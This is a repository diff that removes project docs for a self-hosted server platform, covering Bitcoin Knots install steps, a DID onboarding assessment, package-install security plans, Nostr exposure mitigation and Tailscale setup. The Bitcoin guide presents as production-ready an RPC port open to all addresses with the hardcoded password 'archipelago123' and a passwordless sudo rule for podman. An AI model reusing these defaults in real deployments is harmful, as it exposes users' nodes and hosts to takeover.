.p-4 { padding: 1rem; }
.p-6 { padding: 1.5rem; }
.px-3 { padding-left: 0.75rem; padding-right: 0.75rem; }
.px-4 { padding-left: 1rem; padding-right: 1rem; }
.px-6 { padding-left: 1.5rem; padding-right: 1.5rem; }
.py-2 { padding-top: 0.5rem; padding-bottom: 0.5rem; }
.py-3 { padding-top: 0.75rem; padding-bottom: 0.75rem; }
/* Margin */
.mb-1 { margin-bottom: 0.25rem; }
.mb-2 { margin-bottom: 0.5rem; }
.mb-4 { margin-bottom: 1rem; }
.mb-6 { margin-bottom: 1.5rem; }
.mb-8 { margin-bottom: 2rem; }
.mt-2 { margin-top: 0.5rem; }
.mt-4 { margin-top: 1rem; }
.mx-auto { margin-left: auto; margin-right: auto; }
/* Typography — Size */
.text-xs { font-size: 0.75rem; line-height: 1rem; }
.text-sm { font-size: 0.875rem; line-height: 1.25rem; }
.text-base { font-size: 1rem; line-height: 1.5rem; }
.text-lg { font-size: 1.125rem; line-height: 1.75rem; }
.text-xl { font-size: 1.25rem; line-height: 1.75rem; }
.text-2xl { font-size: 1.5rem; line-height: 2rem; }
.text-3xl { font-size: 1.875rem; line-height: 2.25rem; }
/* Typography — Weight */
.font-medium { font-weight: 500; }
.font-semibold { font-weight: 600; }
.font-bold { font-weight: 700; }
.font-mono { font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace; }
.text-center { text-align: center; }
.truncate { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
/* Typography — Color */
.text-white { color: #ffffff; }
.text-white\/40 { color: rgba(255, 255, 255, 0.4); }
.text-white\/50 { color: rgba(255, 255, 255, 0.5); }
.text-white\/60 { color: rgba(255, 255, 255, 0.6); }
.text-white\/70 { color: rgba(255, 255, 255, 0.7); }
.text-white\/80 { color: rgba(255, 255, 255, 0.8); }
.text-green-400 { color: #4ade80; }
.text-green-500 { color: #22c55e; }
.text-orange-400 { color: #fb923c; }
.text-orange-500 { color: #f97316; }
.text-red-400 { color: #f87171; }
.text-yellow-400 { color: #facc15; }
/* Backgrounds */
.bg-green-400 { background-color: #4ade80; }
.bg-green-500 { background-color: #22c55e; }
.bg-orange-400 { background-color: #fb923c; }
.bg-orange-500 { background-color: #f97316; }
.bg-red-400 { background-color: #f87171; }
.bg-orange-500\/20 { background-color: rgba(249, 115, 22, 0.2); }
.bg-white\/5 { background-color: rgba(255, 255, 255, 0.05); }
.bg-white\/10 { background-color: rgba(255, 255, 255, 0.1); }
.bg-black\/20 { background-color: rgba(0, 0, 0, 0.2); }
.bg-black\/40 { background-color: rgba(0, 0, 0, 0.4); }
.bg-black\/60 { background-color: rgba(0, 0, 0, 0.6); }
.bg-black\/80 { background-color: rgba(0, 0, 0, 0.8); }
/* Gradients */
.bg-gradient-to-r { background-image: linear-gradient(to right, var(--tw-gradient-stops)); }
.from-orange-500 { --tw-gradient-from: #f97316; --tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to, rgba(249, 115, 22, 0)); }
.from-orange-400 { --tw-gradient-from: #fb923c; --tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to, rgba(251, 146, 60, 0)); }
.to-yellow-400 { --tw-gradient-to: #facc15; }
.to-orange-600 { --tw-gradient-to: #ea580c; }
/* Border */
.border { border-width: 1px; }
.border-white\/10 { border-color: rgba(255, 255, 255, 0.1); }
.border-white\/20 { border-color: rgba(255, 255, 255, 0.2); }
.border-orange-500\/30 { border-color: rgba(249, 115, 22, 0.3); }
/* Border Radius */
.rounded { border-radius: 0.25rem; }
.rounded-lg { border-radius: 0.5rem; }
.rounded-xl { border-radius: 0.75rem; }
.rounded-2xl { border-radius: 1rem; }
.rounded-full { border-radius: 9999px; }
/* Overflow */
.overflow-hidden { overflow: hidden; }
.overflow-y-auto { overflow-y: auto; }
/* Opacity */
.opacity-0 { opacity: 0; }
.opacity-75 { opacity: 0.75; }
.opacity-100 { opacity: 1; }
/* Z-Index */
.z-10 { z-index: 10; }
.z-50 { z-index: 50; }
/* Spacing utilities */
.space-y-2 > :not([hidden]) ~ :not([hidden]) { margin-top: 0.5rem; }
.space-y-3 > :not([hidden]) ~ :not([hidden]) { margin-top: 0.75rem; }
.space-y-4 > :not([hidden]) ~ :not([hidden]) { margin-top: 1rem; }
/* Backdrop filter */
.backdrop-blur-sm { -webkit-backdrop-filter: blur(4px); backdrop-filter: blur(4px); }
.backdrop-blur-md { -webkit-backdrop-filter: blur(12px); backdrop-filter: blur(12px); }
.backdrop-blur-xl { -webkit-backdrop-filter: blur(24px); backdrop-filter: blur(24px); }
/* Transitions */
.transition-all { transition-property: all; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 150ms; }
.transition-opacity { transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 150ms; }
.duration-300 { transition-duration: 300ms; }
.duration-500 { transition-duration: 500ms; }
/* Text wrapping */
.whitespace-pre-wrap { white-space: pre-wrap; }
.break-all { word-break: break-all; }
/* Cursor */
.cursor-pointer { cursor: pointer; }
/* Responsive: md (768px+) */
@media (min-width: 768px) {
.md\:flex-row { flex-direction: row; }
.md\:items-center { align-items: center; }
.md\:gap-4 { gap: 1rem; }
.md\:gap-6 { gap: 1.5rem; }
.md\:w-auto { width: auto; }
.md\:mt-0 { margin-top: 0; }
.md\:grid-cols-4 { grid-template-columns: repeat(4, minmax(0, 1fr)); }
.md\:grid-cols-2 { grid-template-columns: repeat(2, minmax(0, 1fr)); }
}
/* Responsive: lg (1024px+) */
@media (min-width: 1024px) {
.lg\:grid-cols-2 { grid-template-columns: repeat(2, minmax(0, 1fr)); }
}

View File

@@ -1,47 +0,0 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>MorphOS Server - Coming Soon</title>
<style>
body {
margin: 0;
padding: 0;
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif;
background: linear-gradient(135deg, #f093fb 0%, #f5576c 100%);
color: white;
display: flex;
align-items: center;
justify-content: center;
min-height: 100vh;
}
.container {
text-align: center;
padding: 2rem;
}
h1 {
font-size: 3rem;
margin-bottom: 1rem;
}
p {
font-size: 1.2rem;
opacity: 0.9;
}
.status {
display: inline-block;
background: rgba(255, 255, 255, 0.2);
padding: 0.5rem 1rem;
border-radius: 20px;
margin-top: 1rem;
}
</style>
</head>
<body>
<div class="container">
<h1>MorphOS Server</h1>
<p>Flexible server platform for applications and services</p>
<div class="status">🚧 Coming Soon</div>
</div>
</body>
</html>

View File

@@ -1,268 +0,0 @@
# Beta Release - Bitcoin Knots Installation Guide
## For Beta Testers & End Users
### Prerequisites
- Fresh Archipelago installation
- 500GB+ disk space (for full blockchain)
- Internet connection
---
## Automated Installation (One-Click from App Store)
**When ready for beta, Bitcoin Knots will be installable from the App Store UI:**
1. Navigate to **App Store** in Archipelago UI
2. Find **Bitcoin Knots**
3. Click **Install**
4. Wait for installation to complete
5. Click **Launch** to access the web UI
---
## Manual Installation (Current Method)
If installing via SSH/terminal:
```bash
# 1. Install Bitcoin Knots node
sudo podman run -d \
--name bitcoin-knots \
--restart unless-stopped \
-p 8332:8332 \
-p 8333:8333 \
-v /var/lib/archipelago/bitcoin:/home/bitcoin/.bitcoin \
--label "com.archipelago.app=bitcoin-knots" \
--label "com.archipelago.title=Bitcoin Knots" \
--label "com.archipelago.version=28.1" \
--label "com.archipelago.category=bitcoin" \
--label "com.archipelago.description.short=Full Bitcoin node implementation" \
--label "com.archipelago.description.long=Bitcoin Knots is a derivative of Bitcoin Core with additional features and bug fixes. Maintain the full blockchain and validate all transactions." \
--label "com.archipelago.license=MIT" \
--label "com.archipelago.icon=/assets/img/app-icons/bitcoin-knots.webp" \
--label "com.archipelago.port=8332" \
--label "com.archipelago.repo=https://github.com/bitcoinknots/bitcoin" \
docker.io/bitcoinknots/bitcoin:latest \
-server=1 \
-txindex=1 \
-rpcallowip=0.0.0.0/0 \
-rpcbind=0.0.0.0:8332 \
-rpcuser=archipelago \
-rpcpassword=archipelago123 \
-dbcache=4096
# 2. Build Bitcoin UI (web interface)
cd /tmp
mkdir bitcoin-ui-build
cd bitcoin-ui-build
# Create Dockerfile
cat > Dockerfile << 'EOF'
FROM docker.io/library/nginx:alpine
COPY index.html /usr/share/nginx/html/
RUN mkdir -p /usr/share/nginx/html/assets/img/app-icons && \
mkdir -p /usr/share/nginx/html/assets/img
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]
EOF
# Copy UI file (must be included in beta ISO or downloadable)
cp /home/archipelago/archy/docker/bitcoin-ui/index.html .
# Build and deploy
sudo podman build -t localhost/bitcoin-ui:latest .
sudo podman run -d \
--name bitcoin-ui \
--restart unless-stopped \
-p 8334:80 \
--label "com.archipelago.app=bitcoin-ui" \
--label "com.archipelago.parent=bitcoin-knots" \
localhost/bitcoin-ui:latest
# Cleanup
cd /tmp && rm -rf bitcoin-ui-build
echo "✅ Bitcoin Knots installed!"
```
---
## What Gets Deployed
### 1. Bitcoin Knots Node
- **Container:** `docker.io/bitcoinknots/bitcoin:latest`
- **Data:** `/var/lib/archipelago/bitcoin/` (blockchain storage)
- **RPC Port:** 8332 (for other apps to connect)
- **P2P Port:** 8333 (network connections)
- **Default RPC Credentials:**
- User: `archipelago`
- Password: `archipelago123`
### 2. Bitcoin Web UI
- **Container:** Custom nginx container
- **Web Port:** 8334
- **Features:**
- Node status dashboard
- RPC connection info
- Block height display
- Log viewer
- Settings panel
---
## Verification Checklist
After installation, verify:
- [ ] `bitcoin-knots` container is running: `sudo podman ps | grep bitcoin-knots`
- [ ] `bitcoin-ui` container is running: `sudo podman ps | grep bitcoin-ui`
- [ ] Bitcoin Knots appears in "My Apps" with status "Running"
- [ ] Bitcoin Knots shows "Already Installed" in App Store
- [ ] "Launch" button is visible and clickable
- [ ] Clicking "Launch" opens http://YOUR-IP:8334
- [ ] Web UI displays node information
- [ ] Blockchain is syncing (check logs: `sudo podman logs -f bitcoin-knots`)
---
## Known Issues & Fixes
### Issue 1: "Already Installed" Not Showing
**Cause:** App ID mismatch between marketplace and container name.
**Fix Applied:**
- Marketplace app ID changed from `bitcoin` to `bitcoin-knots`
- Backend checks for `bitcoin-ui` container and maps to `bitcoin-knots`
### Issue 2: No Launch Button
**Cause:** Backend couldn't detect the UI container port.
**Fix Applied:**
- Special case in backend to map `bitcoin-ui``bitcoin-knots`
- Backend now uses port 8334 (UI) instead of 8332 (RPC)
### Issue 3: Container Not Detected
**Cause:** Backend runs as non-root, containers started with `sudo podman`.
**Fix Applied:**
- Backend uses `sudo podman` commands
- Sudoers configured: `archipelago ALL=(ALL) NOPASSWD: /usr/bin/podman`
---
## For Beta Release ISO
The auto-installer must include:
1. **Backend binary** with:
- `sudo podman` support in `podman_client.rs`
- Bitcoin Knots metadata in `docker_packages.rs`
- Special UI container mapping logic
2. **Frontend** with:
- Correct marketplace app ID: `bitcoin-knots`
- Docker image: `docker.io/bitcoinknots/bitcoin:latest`
3. **Bitcoin UI files** in `/home/archipelago/archy/docker/bitcoin-ui/`:
- `index.html`
- `Dockerfile`
4. **System configuration**:
- `/etc/sudoers.d/archipelago-podman` file
- Nginx configuration
- Archipelago systemd service
---
## Testing Script
Run this to verify everything works:
```bash
#!/bin/bash
echo "Testing Bitcoin Knots installation..."
# 1. Check containers
BITCOIN_RUNNING=$(sudo podman ps --format "{{.Names}}" | grep -c "bitcoin-knots" || echo "0")
UI_RUNNING=$(sudo podman ps --format "{{.Names}}" | grep -c "bitcoin-ui" || echo "0")
if [ "$BITCOIN_RUNNING" -eq "0" ]; then
echo "❌ bitcoin-knots container not running"
exit 1
else
echo "✅ bitcoin-knots container running"
fi
if [ "$UI_RUNNING" -eq "0" ]; then
echo "❌ bitcoin-ui container not running"
exit 1
else
echo "✅ bitcoin-ui container running"
fi
# 2. Test web UI
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" http://localhost:8334)
if [ "$HTTP_CODE" -eq "200" ]; then
echo "✅ Bitcoin UI accessible on port 8334"
else
echo "❌ Bitcoin UI not responding (HTTP $HTTP_CODE)"
exit 1
fi
# 3. Test RPC
RPC_RESPONSE=$(curl -s --user archipelago:archipelago123 \
--data-binary '{"jsonrpc":"1.0","id":"test","method":"getblockchaininfo","params":[]}' \
-H 'content-type: text/plain;' http://localhost:8332/)
if echo "$RPC_RESPONSE" | grep -q '"result"'; then
echo "✅ Bitcoin RPC responding"
BLOCKS=$(echo "$RPC_RESPONSE" | grep -o '"blocks":[0-9]*' | cut -d: -f2)
echo " Synced blocks: $BLOCKS"
else
echo "❌ Bitcoin RPC not responding"
exit 1
fi
echo ""
echo "✅ All tests passed! Bitcoin Knots is working correctly."
```
---
## User Experience Flow
1. **Install from App Store** → Click "Install" on Bitcoin Knots
2. **Backend deploys** → Both bitcoin-knots + bitcoin-ui containers
3. **App appears in My Apps** → Shows "Running" status
4. **App Store shows** → "Already Installed" badge
5. **Launch button works** → Opens web UI on port 8334
6. **User connects to node** → Via RPC or web UI
---
## Blockchain Sync Time
**Initial sync:** 1-7 days depending on:
- Internet speed
- Disk I/O performance
- CPU power
**Monitor progress:**
```bash
sudo podman logs -f bitcoin-knots | grep "height="
```
---
## Important for Production
**All components working**: Node, UI, detection, marketplace
**No manual intervention needed**: Fully automated from App Store
**Proper labeling**: Backend discovers everything via container labels
**User-friendly**: Launch button, status display, proper UI
**This is production-ready for beta release!**

View File

@@ -1,189 +0,0 @@
# DID Onboarding Flow: Assessment & Implementation Plan
## Executive Summary
The current onboarding DID flow is **partially implemented** and has several significant gaps compared to the W3C DID protocol and Web5 expectations. The core `did:key` format is **correct**, but the user-facing flow includes mock/fake behavior and the backup/verify steps don't actually use the DID infrastructure.
---
## What We Have (Current State)
### ✅ Correct Implementation
| Component | Status | Notes |
|-----------|--------|-------|
| **did:key format** | ✅ Correct | Ed25519 multicodec `0xed 0x01`, base58btc encoding, `z` prefix |
| **Key generation** | ✅ Correct | Ed25519 via `ed25519_dalek`, persisted at `/var/lib/archipelago/identity/` |
| **node.did RPC** | ✅ Correct | Returns `{ did, pubkey }` from server state |
| **Identity persistence** | ✅ Correct | Key survives reboots, 0o600 permissions on Unix |
| **Sign/verify primitives** | ✅ Present | `NodeIdentity::sign()`, `NodeIdentity::verify()` exist in Rust |
### ⚠️ Partial / Misleading Implementation
| Component | Status | Issue |
|-----------|--------|-------|
| **OnboardingDid.vue** | ⚠️ Misleading copy | Says "Generate DID" but we *fetch* from server; key is created at first boot, not during onboarding |
| **OnboardingVerify.vue** | ❌ Fake | Uses `generateMockSignature()` random chars, no backend call. Doesn't prove DID control |
| **OnboardingBackup.vue** | ❌ Non-functional | Backup is mock JSON with `{ did, kid }`; no encrypted key material; **restore is impossible** |
| **kid usage** | ⚠️ Non-standard | We store `pubkey` as `kid`; proper did:key uses fragment like `#key-1` or `did:key:z...#key-1` |
### ❌ Missing
| Component | Status |
|-----------|--------|
| **node.sign RPC** | Not exposed backend can sign but no API |
| **Challenge-sign flow** | No backend support for proof-of-control |
| **Encrypted backup** | No real backup with key material or recovery path |
| **DID Document endpoint** | Not exposed (optional for did:key can be derived client-side) |
| **keyAgreement / X25519** | Not derived full DID Document would need Ed25519→X25519 for encryption |
---
## DID Protocol Requirements (W3C / Web5)
### did:key Method (W3C CCG)
1. **Format**: `did:key:z<base58btc(multicodec + raw-public-key-bytes)>` ✅ We do this
2. **DID Document**: Can be derived from the DID string; no registry. Libraries like `@digitalcredentials/did-method-key` expand it.
3. **Verification methods**: `verificationMethod`, `authentication`, `assertionMethod`, `keyAgreement` (X25519 derived), `capabilityDelegation`, `capabilityInvocation`
4. **Key ID (kid)**: Typically `{did}#key-1` or similar fragment
### Proof of Control
To prove control of a DID, you must **sign a challenge** with the private key. The verifier checks the signature against the public key in the DID. Our OnboardingVerify step claims to do this but **does not**.
### Backup / Recovery
A proper identity backup for recovery would:
- Include the private key (or encrypted key material)
- Be encrypted with a user passphrase
- Allow restore on a new device
Our backup has none of this it's display-only.
---
## Recommended Implementation Plan
### Phase 1: Fix Verify Step (Proof of Control)
**Goal**: Replace the fake "Sign Challenge" with a real cryptographic proof.
1. **Backend**: Add `node.signChallenge` RPC
- Input: `{ challenge: string }` (nonce from frontend)
- Output: `{ signature: string }` (hex-encoded Ed25519 signature)
- Uses `NodeIdentity::sign()` with `challenge.as_bytes()`
2. **Frontend (OnboardingVerify.vue)**:
- Generate a random nonce (e.g. 32 bytes, base64)
- Call `node.signChallenge({ challenge })`
- Verify signature locally using the pubkey from `node.did` (optional or trust server)
- Display the real signature; remove `generateMockSignature()`
**Effort**: ~24 hours
---
### Phase 2: Improve UX and Terminology
**Goal**: Align copy and flow with actual behavior.
1. **OnboardingDid.vue**:
- Change "Generate DID" → "Get your node's identity" or "Retrieve DID"
- Clarify that the DID is created when the node first starts (not on button click)
- Optionally auto-fetch on mount if identity exists (no button needed for returning state)
2. **kid / Key ID**:
- Use `#key-1` or full `{did}#key-1` in backup and state
- Or follow [did:key key IDs](https://www.w3.org/TR/did-core/#relative-did-urls)
**Effort**: ~12 hours
---
### Phase 3: Real Backup (Encrypted Export)
**Goal**: Backup that can actually be used for recovery.
**Design choice**: The private key lives on the **server**. Two options:
- **Option A (simpler)**: Backup is a signed, encrypted blob containing the key material. Restore requires:
- Upload backup file
- Enter passphrase
- Server imports key and replaces current identity (or restores to same node)
- **Option B (more self-sovereign)**: User can export key to their own wallet. Higher complexity and key-handling risk.
**Recommended: Option A**
1. **Backend**: Add `node.createBackup` RPC
- Input: `{ passphrase: string }`
- Encrypt the raw key bytes (e.g. XChaCha20-Poly1305 or AES-256-GCM) with a key derived from passphrase (Argon2)
- Return JSON: `{ version, did, backupBlob (base64), salt, ... }` or trigger download
2. **Backend**: Add `node.restoreBackup` RPC (for restore flow)
- Input: `{ backupBlob, passphrase }`
- Decrypt, validate, write to identity dir
- Restart or reload identity
3. **Frontend (OnboardingBackup.vue)**:
- Call `node.createBackup` instead of building mock JSON locally
- Download the real backup file
4. **Restore flow**: Add a restore path (e.g. from login or onboarding options) that accepts backup file + passphrase and calls `node.restoreBackup`
**Effort**: ~12 days (crypto, testing, edge cases)
---
### Phase 4: DID Document & Web5 Interop (Optional)
**Goal**: Full compatibility with Web5 resolvers and DWN.
1. **DID Document endpoint**: `GET /.well-known/did.json` or `/did/{did}`
- Resolve did:key to a full DID Document
- Include `verificationMethod`, `authentication`, `keyAgreement` (X25519 from Ed25519)
- Reference: [did:key expansion](https://github.com/digitalbazaar/did-method-key)
2. **X25519 derivation**: Add `curve25519-dalek` or equivalent; derive X25519 pubkey from Ed25519 for `keyAgreement`
3. **Web5/DWN**: Ensure `web5-dwn` and `did-wallet` use our node DID correctly for resolution and operations
**Effort**: ~23 days
---
### Phase 5: DID as Authentication (Future)
**Goal**: Use DID + proof instead of (or in addition to) password.
- DID Auth / SIOP flow: prove control of DID via challenge-response
- Could reduce or replace password for API access
- Larger design and security review required
**Effort**: TBD
---
## Priority Recommendation
| Priority | Phase | Reason |
|----------|-------|--------|
| **P0** | Phase 1 (Verify) | Removes fake crypto; proves DID control |
| **P1** | Phase 2 (UX) | Quick wins; honest representation of flow |
| **P2** | Phase 3 (Backup) | Makes backup/restore actually useful |
| **P3** | Phase 4 (DID Doc) | Needed for full Web5 interop |
| **P4** | Phase 5 (DID Auth) | Longer-term identity architecture |
---
## Quick Reference: Current vs. Target
| Step | Current | Target |
|------|---------|--------|
| DID fetch | `node.did` ✅ | Same, better UX |
| Prove control | Fake random "signature" ❌ | Real `node.signChallenge` |
| Backup | Mock JSON, no key ❌ | Encrypted key material + restore |
| kid | Raw pubkey | `#key-1` or standard fragment |
| Restore | Not possible | `node.restoreBackup` |

View File

@@ -1,316 +0,0 @@
# Package Installation Architecture & Security
## Overview
Archipelago uses a **container-based app installation system** similar to StartOS, with enhanced security and flexibility.
## Installation Methods
### 1. **Web UI Marketplace** (Current Implementation)
**How it works:**
- User clicks "Install" in the marketplace
- Frontend calls `package.install` RPC method
- Backend pulls Docker image and creates Podman container
- Container starts with predefined configuration
**Security:**
- ✅ Image name validation (prevents injection attacks)
- ✅ Resource limits (CPU, memory)
- ⚠️ Uses hardcoded configs (will use manifests)
- ⚠️ No image signature verification yet
**Pros:**
- User-friendly (click to install)
- Fast installation
- Works for most Docker-based apps
**Cons:**
- Limited configuration options
- No manifest-based permissions yet
- Requires internet for image pull
---
### 2. **Manifest-Based Installation** (Recommended Future)
**How it works:**
```yaml
# apps/home-assistant/manifest.yml
app:
id: home-assistant
name: Home Assistant
container:
image: homeassistant/home-assistant:2024.1
image_signature: cosign://... # Verify with Cosign
security:
capabilities: [NET_BIND_SERVICE]
readonly_root: false
network_policy: host
resources:
cpu_limit: 2
memory_limit: 2Gi
```
**Installation:**
```bash
# Backend reads manifest, validates, creates container with exact specs
archipelago install --manifest apps/home-assistant/manifest.yml
```
**Security Benefits:**
-**Image verification** with Cosign signatures
-**Explicit permissions** (capabilities, network access)
-**Resource limits** from manifest
-**Dependency resolution** (Bitcoin Core before LND)
-**AppArmor/SELinux profiles** per app
-**Audit trail** of what permissions were granted
---
### 3. **Sideload from .s9pk** (StartOS Compatible)
**How it works:**
- User uploads `.s9pk` file (ZIP with manifest + Docker image)
- Backend extracts, verifies signature
- Creates container from embedded image
**Security:**
- ✅ GPG signature verification
- ✅ Offline installation (no internet needed)
- ✅ User reviews permissions before install
---
## Security Considerations
### Current Implementation (package.install)
#### ✅ **What's Secure:**
1. **Input Validation**
```rust
fn is_valid_docker_image(image: &str) -> bool {
// Rejects shell metacharacters: & | ; ` $ ( ) < >
// Prevents command injection
}
```
2. **Resource Limits**
```rust
run_args.push("--memory=2g");
run_args.push("--cpus=2");
```
3. **Rootless Podman** (future)
- Containers run as non-root user
- Reduced attack surface
#### ⚠️ **What Needs Improvement:**
1. **No Image Verification**
- **Current**: Trusts Docker Hub/registries blindly
- **Should**: Verify signatures with Cosign
```bash
cosign verify --key cosign.pub ghcr.io/owner/image:tag
```
2. **Hardcoded Configs**
- **Current**: `get_app_config()` has hardcoded ports/volumes
- **Should**: Load from `apps/*/manifest.yml`
3. **No Permission Review**
- **Current**: User doesn't see what access app gets
- **Should**: Show permission prompt before install:
```
Home Assistant requests:
- Network: Host (for device discovery)
- Devices: /dev/ttyUSB0 (serial devices)
- Capabilities: NET_BIND_SERVICE
- Storage: 10GB
[Cancel] [Install]
```
4. **No Dependency Resolution**
- **Current**: Install apps independently
- **Should**: Check dependencies (e.g., LND requires Bitcoin Core)
5. **No Network Isolation**
- **Current**: Apps can access each other
- **Should**: Isolated networks by default, explicit connections
---
##Security Best Practices
### Multi-Layer Security Model
```
┌─────────────────────────────────────────────┐
│ 1. Supply Chain Security │
│ - Cosign image signing │
│ - SBOM (Software Bill of Materials) │
│ - Vulnerability scanning │
└─────────────────────────────────────────────┘
┌─────────────────────────────────────────────┐
│ 2. Installation Validation │
│ - Signature verification │
│ - Manifest schema validation │
│ - Permission review │
└─────────────────────────────────────────────┘
┌─────────────────────────────────────────────┐
│ 3. Runtime Isolation │
│ - Rootless containers │
│ - AppArmor/SELinux profiles │
│ - Network isolation │
│ - Resource limits │
└─────────────────────────────────────────────┘
┌─────────────────────────────────────────────┐
│ 4. Monitoring & Audit │
│ - Health checks │
│ - Log collection │
│ - Anomaly detection │
└─────────────────────────────────────────────┘
```
---
## Comparison with StartOS
| Feature | StartOS | Archipelago (Current) | Archipelago (Goal) |
|---------|---------|----------------------|-------------------|
| **Image Format** | .s9pk (custom) | Docker images | Both |
| **Image Verification** | GPG signatures | ❌ None | ✅ Cosign |
| **Permission System** | ✅ Manifest-based | ❌ Hardcoded | ✅ Manifest-based |
| **Network Isolation** | ✅ Per-app networks | ❌ Shared network | ✅ Per-app networks |
| **Dependency Resolution** | ✅ Automatic | ❌ Manual | ✅ Automatic |
| **Resource Limits** | ✅ From manifest | ⚠️ Hardcoded | ✅ From manifest |
| **Audit Trail** | ✅ Yes | ⚠️ Basic logs | ✅ Full audit |
---
## Recommended Next Steps
### Phase 1: Manifest-Based Installation (Priority: HIGH)
1. Implement manifest parser in Rust
2. Load configs from `apps/*/manifest.yml`
3. Apply security policies from manifest
4. Show permission prompt in UI
### Phase 2: Image Verification (Priority: HIGH)
1. Integrate Cosign for signature verification
2. Maintain whitelist of trusted signing keys
3. Reject unsigned images in production
### Phase 3: Network Isolation (Priority: MEDIUM)
1. Create isolated network per app
2. Explicit inter-app connections (e.g., LND → Bitcoin Core RPC)
3. Firewall rules per app
### Phase 4: Dependency Resolution (Priority: MEDIUM)
1. Parse `dependencies` from manifests
2. Auto-install dependencies
3. Prevent removal of depended-upon apps
### Phase 5: Advanced Security (Priority: LOW)
1. AppArmor profile generation per app
2. Hardware attestation (TPM 2.0)
3. Encrypted secrets storage (not plaintext volumes)
---
## How Users Will Install Apps (Production)
### Method 1: Trusted Marketplace (Recommended)
```
User → Marketplace → Verified Registry → Podman
```
- Pre-vetted apps with verified signatures
- Manifests reviewed by Archipelago team
- One-click install
### Method 2: Sideload (.s9pk)
```
User → Upload .s9pk → Verify Signature → Extract → Podman
```
- For community apps
- User takes responsibility for trust
### Method 3: Advanced (Manual)
```
User → SSH → podman run with manifest → Manual config
```
- For developers/power users
- Full control, no guardrails
---
## Security Philosophy
**Defense in Depth:**
- Never trust a single layer
- Verify at supply chain (Cosign)
- Isolate at runtime (containers)
- Monitor continuously (health checks)
**Principle of Least Privilege:**
- Apps get only what they need
- Explicit permissions in manifest
- User approves before granting
**Transparency:**
- Open manifests (readable YAML)
- Clear permission requests
- Audit logs of all actions
---
## Questions Answered
### Is package.install secure?
**Current state:** Moderately secure
- ✅ Input validation prevents injection
- ✅ Resource limits prevent resource exhaustion
- ❌ No image verification (trust Docker Hub)
- ❌ No permission system yet
**With manifests:** Very secure
- ✅ All of the above
- ✅ Signature verification
- ✅ Explicit permissions
- ✅ Network isolation
### How do users install on actual OS?
1. **Pre-installed in ISO**: Included in image build
2. **Web UI Marketplace**: Click to install (current)
3. **Sideload**: Upload .s9pk file
4. **CLI**: SSH + podman commands (advanced)
The **Web UI is the primary method** for end users - simple, secure, auditable.
---
## Implementation Roadmap
**v0.1.0 (Current):**
- ✅ Basic `package.install` RPC
- ✅ Hardcoded app configs
- ✅ Input validation
**v0.2.0 (Next):**
- Manifest parser
- Load from `apps/*/manifest.yml`
- Permission UI prompt
**v0.3.0:**
- Cosign verification
- Network isolation per app
- Dependency resolution
**v1.0.0:**
- Full security model
- AppArmor profiles
- Audit logging
- Production-ready

View File

@@ -1,42 +0,0 @@
# Nostr Discovery Security & Data Exposure
## If Someone Saw the Published Data
The Nostr discovery feature previously published node identity (DID, Tor onion address, version) to public relays. If someone saw that data, heres what they could have and how to respond.
### What Could Have Been Seen
1. **Relay operators** (relay.damus.io, relay.nostr.info):
- Your servers **IP address** when it connected to publish
- The **Tor onion address** you advertised
- **Timing** of when you published
2. **Anyone querying Nostr** for archipelago nodes:
- Your **Tor onion address** (designed to be shareable)
- Your **DID** (public identifier)
- **Software version**
### Mitigations
| Exposure | Mitigation |
|----------|------------|
| **IP address** | Cannot be undone. If relay operators logged it, they still have it. Consider: moving to a new IP, using a VPN for future traffic, or treating the server as potentially identified. |
| **Tor onion** | The revocation overwrites the Nostr event so new clients wont see it. If someone cached the onion, they can still reach the node. To invalidate it: **rotate the Tor hidden service** (new onion, old one stops working). |
| **DID** | Public by design; no mitigation needed. |
| **Version** | Update to a newer version; old version info becomes less useful over time. |
### Rotating the Tor Hidden Service (New Onion)
To invalidate an exposed onion address:
1. Stop the Tor container.
2. Remove the hidden service directory:
`rm -rf /var/lib/archipelago/tor/hidden_service_archipelago`
3. Restart the Tor container so it creates a new onion.
4. Update any peers or links that used the old onion.
### Current Protections (Post-Fix)
- **Revocation**: On startup, the backend publishes a replacement Nostr event with empty content, so normal discovery no longer shows your node.
- **Tor proxy**: Nostr traffic uses Tor (127.0.0.1:9050) so relay operators no longer see your IP.
- **Opt-in defaults**: Discovery is on by default but only uses configured relays and routes through Tor.

View File

@@ -1,182 +0,0 @@
# Tailscale Integration Guide
## Overview
Archipelago integrates with Tailscale to provide secure remote access via your personal VPN mesh network. When Tailscale is installed, users can access their Archipelago UI from anywhere using their Tailscale network.
## Automatic Configuration
### Installation Process
When a user installs Tailscale from the Archipelago App Store:
1. **Container Setup** (automatic)
- Tailscale container runs with `--network=host` and `--privileged` mode
- Creates `/var/lib/archipelago/tailscale` for persistent state
- Starts Tailscale daemon and web UI on port 8240
2. **User Authentication** (user action required)
- User clicks "Launch" on Tailscale app
- Opens web UI at `http://<local-ip>:8240`
- User logs in with their Tailscale account
- Device registers to their tailnet
3. **Network Configuration** (automatic)
- `tailscale0` interface is created with Tailscale IP (e.g., `100.91.10.103`)
- Nginx detects the new interface and adds it to listen directives
- Archipelago UI becomes accessible via Tailscale hostname
### Accessing via Tailscale
After setup, users can access Archipelago from any device on their tailnet:
```
http://<hostname>.tail<xxxxxx>.ts.net/
```
Example: `http://archipelago.tail2b6225.ts.net/`
## Technical Implementation
### Container Configuration
Tailscale requires special container permissions:
```rust
// In rpc.rs - handle_package_install()
if package_id == "tailscale" {
run_args.push("--network=host"); // Access host network
run_args.push("--privileged"); // Full container capabilities
run_args.push("--cap-add=NET_ADMIN"); // Network administration
run_args.push("--cap-add=NET_RAW"); // Raw packet access
run_args.push("--device=/dev/net/tun"); // TUN device for VPN
}
```
### Nginx Configuration
The `configure-tailscale-nginx.sh` script automatically:
1. Detects the Tailscale IP from `tailscale0` interface
2. Adds `listen <tailscale-ip>:80;` to Nginx config
3. Reloads Nginx to accept connections from tailnet
